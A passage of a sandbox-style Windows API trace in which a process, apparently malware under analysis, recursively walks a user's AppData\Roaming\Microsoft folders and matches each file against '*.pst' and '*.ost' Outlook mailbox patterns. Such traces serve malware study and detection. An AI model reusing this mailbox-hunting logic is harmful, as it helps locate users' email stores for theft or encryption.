ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7eafb940, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7eafb940, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x71e9d80 [0098.112] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.112] FindNextFileW (in: hFindFile=0x71e9d80, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eafb940, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7eafb940, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7eafb940, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0098.112] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.112] FindNextFileW (in: hFindFile=0x71e9d80, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eafb940, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7eafb940, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7eafb940, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 0 [0098.112] FindClose (in: hFindFile=0x71e9d80 | out: hFindFile=0x71e9d80) returned 1 [0098.112] FindNextFileW (in: hFindFile=0x72022f0, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eafb940, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7eafb940, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7eafb940, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="IMJP9_0", cAlternateFileName="")) returned 1 [0098.112] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.112] PathCombineW (in: pszDest=0x6a1ef00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft", pszFile="IMJP9_0" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\IMJP9_0") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\IMJP9_0" [0098.112] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\IMJP9_0", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\IMJP9_0\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\IMJP9_0\\*" [0098.112] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\IMJP9_0\\*", lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eafb940, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7eafb940, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7eafb940, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x71e9d80 [0098.113] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.113] FindNextFileW (in: hFindFile=0x71e9d80, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eafb940, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7eafb940, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7eafb940, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0098.113] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.113] FindNextFileW (in: hFindFile=0x71e9d80, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eafb940, ftCreationTime.dwHighDateTime=0x1d2f18a, ftLastAccessTime.dwLowDateTime=0x7eafb940, ftLastAccessTime.dwHighDateTime=0x1d2f18a, ftLastWriteTime.dwLowDateTime=0x7eafb940, ftLastWriteTime.dwHighDateTime=0x1d2f18a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 0 [0098.113] FindClose (in: hFindFile=0x71e9d80 | out: hFindFile=0x71e9d80) returned 1 [0098.113] FindNextFileW (in: hFindFile=0x72022f0, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xcd6a3aa0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd6a3aa0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0098.113] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.113] PathCombineW (in: pszDest=0x6a1ef00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft", pszFile="Internet Explorer" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer" [0098.113] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*" [0098.113] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xcd6a3aa0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd6a3aa0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x71e9d80 [0098.113] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.114] FindNextFileW (in: hFindFile=0x71e9d80, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xcd6a3aa0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd6a3aa0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0098.114] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.114] FindNextFileW (in: hFindFile=0x71e9d80, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x8c0711a0, ftLastAccessTime.dwHighDateTime=0x1d2fb2c, ftLastWriteTime.dwLowDateTime=0x8c0711a0, ftLastWriteTime.dwHighDateTime=0x1d2fb2c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="Quick Launch", cAlternateFileName="QUICKL~1")) returned 1 [0098.114] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.114] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer", pszFile="Quick Launch" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch" [0098.114] PathCombineW (in: pszDest=0x6a1e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*" [0098.114] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*", lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x8c0711a0, ftLastAccessTime.dwHighDateTime=0x1d2fb2c, ftLastWriteTime.dwLowDateTime=0x8c0711a0, ftLastWriteTime.dwHighDateTime=0x1d2fb2c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x71ea5c0 [0098.114] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.114] FindNextFileW (in: hFindFile=0x71ea5c0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x8c0711a0, ftLastAccessTime.dwHighDateTime=0x1d2fb2c, ftLastWriteTime.dwLowDateTime=0x8c0711a0, ftLastWriteTime.dwHighDateTime=0x1d2fb2c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 1 [0098.114] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.114] FindNextFileW (in: hFindFile=0x71ea5c0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x23441ce0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23441ce0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xc64add60, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x230230, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0098.114] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.114] PathMatchSpecW (pszFile="desktop.ini", pszSpec="*.pst") returned 0 [0098.114] PathMatchSpecW (pszFile="desktop.ini", pszSpec="*.ost") returned 0 [0098.114] FindNextFileW (in: hFindFile=0x71ea5c0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c41ac0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0x9c41ac0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x79fc0280, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x8e9, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Google Chrome.lnk", cAlternateFileName="GOOGLE~1.LNK")) returned 1 [0098.114] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.114] PathMatchSpecW (pszFile="Google Chrome.lnk", pszSpec="*.pst") returned 0 [0098.114] PathMatchSpecW (pszFile="Google Chrome.lnk", pszSpec="*.ost") returned 0 [0098.114] FindNextFileW (in: hFindFile=0x71ea5c0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6487c00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc6487c00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc64add60, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x5a7, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Launch Internet Explorer Browser.lnk", cAlternateFileName="LAUNCH~1.LNK")) returned 1 [0098.114] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.114] PathMatchSpecW (pszFile="Launch Internet Explorer Browser.lnk", pszSpec="*.pst") returned 0 [0098.114] PathMatchSpecW (pszFile="Launch Internet Explorer Browser.lnk", pszSpec="*.ost") returned 0 [0098.114] FindNextFileW (in: hFindFile=0x71ea5c0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c0711a0, ftCreationTime.dwHighDateTime=0x1d2fb2c, ftLastAccessTime.dwLowDateTime=0x8c0711a0, ftLastAccessTime.dwHighDateTime=0x1d2fb2c, ftLastWriteTime.dwLowDateTime=0x8c097300, ftLastWriteTime.dwHighDateTime=0x1d2fb2c, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Microsoft Outlook.lnk", cAlternateFileName="MICROS~1.LNK")) returned 1 [0098.114] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.114] PathMatchSpecW (pszFile="Microsoft Outlook.lnk", pszSpec="*.pst") returned 0 [0098.114] PathMatchSpecW (pszFile="Microsoft Outlook.lnk", pszSpec="*.ost") returned 0 [0098.115] FindNextFileW (in: hFindFile=0x71ea5c0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23441ce0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23441ce0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x7e11d030, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x122, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Shows Desktop.lnk", cAlternateFileName="SHOWSD~1.LNK")) returned 1 [0098.115] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.115] PathMatchSpecW (pszFile="Shows Desktop.lnk", pszSpec="*.pst") returned 0 [0098.115] PathMatchSpecW (pszFile="Shows Desktop.lnk", pszSpec="*.ost") returned 0 [0098.115] FindNextFileW (in: hFindFile=0x71ea5c0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x119ccee, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="User Pinned", cAlternateFileName="USERPI~1")) returned 1 [0098.115] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.115] PathCombineW (in: pszDest=0x6a1e540, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", pszFile="User Pinned" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned" [0098.115] PathCombineW (in: pszDest=0x6a1e060, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*" [0098.115] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*", lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x119ccee, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x71e8ca0 [0098.115] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.115] FindNextFileW (in: hFindFile=0x71e8ca0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x119ccee, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 1 [0098.115] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.115] FindNextFileW (in: hFindFile=0x71e8ca0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xf98cef90, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="ImplicitAppShortcuts", cAlternateFileName="IMPLIC~1")) returned 1 [0098.115] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.115] PathCombineW (in: pszDest=0x6a1e060, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", pszFile="ImplicitAppShortcuts" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts" [0098.115] PathCombineW (in: pszDest=0x6a1db80, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*" [0098.115] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*", lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xf98cef90, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x71e8ac0 [0098.116] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.116] FindNextFileW (in: hFindFile=0x71e8ac0, lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xf98cef90, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 1 [0098.116] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.116] FindNextFileW (in: hFindFile=0x71e8ac0, lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xf98cef90, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 0 [0098.116] FindClose (in: hFindFile=0x71e8ac0 | out: hFindFile=0x71e8ac0) returned 1 [0098.116] FindNextFileW (in: hFindFile=0x71e8ca0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x421c2bf0, ftLastAccessTime.dwHighDateTime=0x1d4ae56, ftLastWriteTime.dwLowDateTime=0x421c2bf0, ftLastWriteTime.dwHighDateTime=0x1d4ae56, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="TaskBar", cAlternateFileName="")) returned 1 [0098.116] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.116] PathCombineW (in: pszDest=0x6a1e060, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", pszFile="TaskBar" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar" [0098.116] PathCombineW (in: pszDest=0x6a1db80, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*" [0098.116] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*", lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x421c2bf0, ftLastAccessTime.dwHighDateTime=0x1d4ae56, ftLastWriteTime.dwLowDateTime=0x421c2bf0, ftLastWriteTime.dwHighDateTime=0x1d4ae56, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x71e8ac0 [0098.117] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.117] FindNextFileW (in: hFindFile=0x71e8ac0, lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x23383600, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x421c2bf0, ftLastAccessTime.dwHighDateTime=0x1d4ae56, ftLastWriteTime.dwLowDateTime=0x421c2bf0, ftLastWriteTime.dwHighDateTime=0x1d4ae56, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 1 [0098.117] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.117] FindNextFileW (in: hFindFile=0x71e8ac0, lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x23441ce0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23441ce0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x288c29e0, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x230230, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0098.117] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.117] PathMatchSpecW (pszFile="desktop.ini", pszSpec="*.pst") returned 0 [0098.117] PathMatchSpecW (pszFile="desktop.ini", pszSpec="*.ost") returned 0 [0098.117] FindNextFileW (in: hFindFile=0x71e8ac0, lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23417450, ftCreationTime.dwHighDateTime=0x1d30214, ftLastAccessTime.dwLowDateTime=0x23417450, ftLastAccessTime.dwHighDateTime=0x1d30214, ftLastWriteTime.dwLowDateTime=0x6740d7b0, ftLastWriteTime.dwHighDateTime=0x1d30212, nFileSizeHigh=0x0, nFileSizeLow=0x926, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Excel 2016.lnk", cAlternateFileName="EXCEL2~1.LNK")) returned 1 [0098.117] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.117] PathMatchSpecW (pszFile="Excel 2016.lnk", pszSpec="*.pst") returned 0 [0098.117] PathMatchSpecW (pszFile="Excel 2016.lnk", pszSpec="*.ost") returned 0 [0098.117] FindNextFileW (in: hFindFile=0x71e8ac0, lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d26300, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0x9d26300, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0x9c67c20, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x8dd, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Google Chrome.lnk", cAlternateFileName="GOOGLE~1.LNK")) returned 1 [0098.117] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.117] PathMatchSpecW (pszFile="Google Chrome.lnk", 